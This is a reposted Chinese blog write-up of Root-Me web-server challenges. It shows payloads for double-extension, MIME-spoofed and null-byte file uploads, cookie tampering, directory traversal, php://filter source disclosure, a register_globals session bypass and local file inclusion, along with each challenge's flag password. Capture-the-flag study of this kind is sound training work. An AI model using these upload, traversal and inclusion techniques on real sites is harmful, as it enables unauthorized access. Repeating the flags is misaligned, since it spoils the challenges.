# root-me web server 10-20 writeup

转载

weixin_33701294 于 2016-06-08 11:22:00 发布 416 收藏
文章标签： php xhtml
原文链接：http://www.cnblogs.com/joy-nick/p/5569475.html


## File upload - double extensions文件上传——双扩展

Gallery v0.02

介绍

Your goal is to hack this photo galery by uploading PHP code.

/challenge/web-serveur/ch20/tmp/phpSfAkKz 访问无果

返回

查看源码

view-source:http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/ccbde566dbc436aa41b84533bbc60ad8//3.php.jpg?preview

删除

http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/ccbde566dbc436aa41b84533bbc60ad8//3.php.jpg

PV1OejHY4MxfsC2mHpRz9

## File upload - MIME type

常见的MIME类型 超文本标记语言文本 .html text/html xml文档 .xml text/xml XHTML文档 .xhtml application/xhtml+xml 普通文本 .txt text/plain RTF文本 .rtf application/rtf PDF文档 .pdf application/pdf Microsoft Word文件 .word application/msword PNG图像 .png image/png GIF图形 .gif image/gif JPEG图形 .jpeg,.jpg image/jpeg au声音文件 .au audio/basic MIDI音乐文件 mid,.midi audio/midi,audio/x-midi RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio MPEG文件 .mpg,.mpeg video/mpeg AVI文件 .avi video/x-msvideo GZIP文件 .gz application/x-gzip TAR文件 .tar application/x-tar 任意的二进制数据 application/octet-stream

Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/gif

查看源码

抓包

删除
http://challenge01.root-me.org/web-serveur/ch21/galerie/upload/cb13dd644fb605082b0a59f2d15c84e7//2.php

password : UN2YusYPnmwfHFHl5zj3

## HTTP cookies

Bob create a script to gather user’s email...

PS : Bob really love cookies

ctrl+u

<!--SetCookie("ch7","visiteur");

输入test

点击Saved email adresses

You need to be admin

用live http heads 抓取数据包

> Host: challenge01.root-me.org
> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
> Accept-Encoding: gzip, deflate
> Referer: http://challenge01.root-me.org/web-serveur/ch7/
> Cookie: ch7=visiteur
> X-Forwarded-For: 8.8.8.8

修改Cookie: ch7=visiteur
Cookie: ch7=admin

replay

刷新

Validation password : ml-SYMPA

## Directory traversal-目录遍历

Photo gallery v 0.01

Find the hidden section of the photo galery.

删除ch15.php

burp爬目录

发现有ch15/galerie/86hwnX2r/password.txt

点击即可

http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt

kcb$!Bx@v4Gs9Ez

## File upload - null byte

%00-零零截断

Gallery v0.04

Your goal is to hack this photo galery by uploading PHP code.

上传2.php

再上传3.php.jpeg

3.php%00.jpg

这样的话，系统就会把.jpeg后面的给舍去。直接解析3.php了

返回

点击刚才上传的图片

Well done ! You can validate this challenge with the password : YPNchi2NmTwygr2dgCCF

## PHP filters-php函数

Retrieved the administrator password of this application.

PHP 过滤器用于对来自非安全来源的数据（比如用户输入）进行验证和过滤。

链接

url

链接

PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYml
解码

```
<?php
include("config.php");
```

```
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("
```

## Welcome back !

```
");
print("To validate the challenge use this password

");
} else {
print("
```

**Error : no such user/password**

```
");
}
} else {
?>
```

Login

Password

<?php } ?>

**include("config.php");**

url2

PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==

<?php

$username="admin";
$password="DAPt9D2mky0APAF";

?>

## PHP register globals

It seems that the developper often leaves backup files around...

链接

链接1

思路

url

http://challenge01.root-me.org/web-serveur/ch17/index.php?_SESSION[logged]=1

well done, you can validate with the password : NoiQYdpcd5kgNwG

## Local File Inclusion-本地文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入
Abbreviated LFI

Get in the admin section.

查看标签中的子标签的链接
http://challenge01.root-me.org/web-serveur/ch16/?files=reseau&f=index.html
http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=index.html
http://challenge01.root-me.org/web-serveur/ch16/?files=esprit&f=index.html

发现变量files是标签的一个变量和f下属标签的变量

所以

目录遍历

http://challenge01.root-me.org/web-serveur/ch16/?files=../&f=index.html

在index.php里面

if (isset($_GET["files"])) $files=$_GET["files"];

if (isset($_GET["f"]) && $_GET["f"]!="")

http://challenge01.root-me.org/web-serveur/ch16/?files=../&f=admin/index.php

users = array('admin' => 'OpbNJ60xYpvAQU8');

## PHP type juggling-类型转换的判别

PHP loose comparison

Get an access.

Authentication source code

$FLAG, $USER and $PASSWORD_SHA256 in secret file

url

## Preg_Replace

e modifier

Read flag.php

Warning: preg_replace(): Delimiter must not be alphanumeric or backslash in /challenge/web-serveur/ch37/index.php on line 25

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误

欢迎访问我的独立博客：joy_nick

转载于:https://www.cnblogs.com/joy-nick/p/5569475.html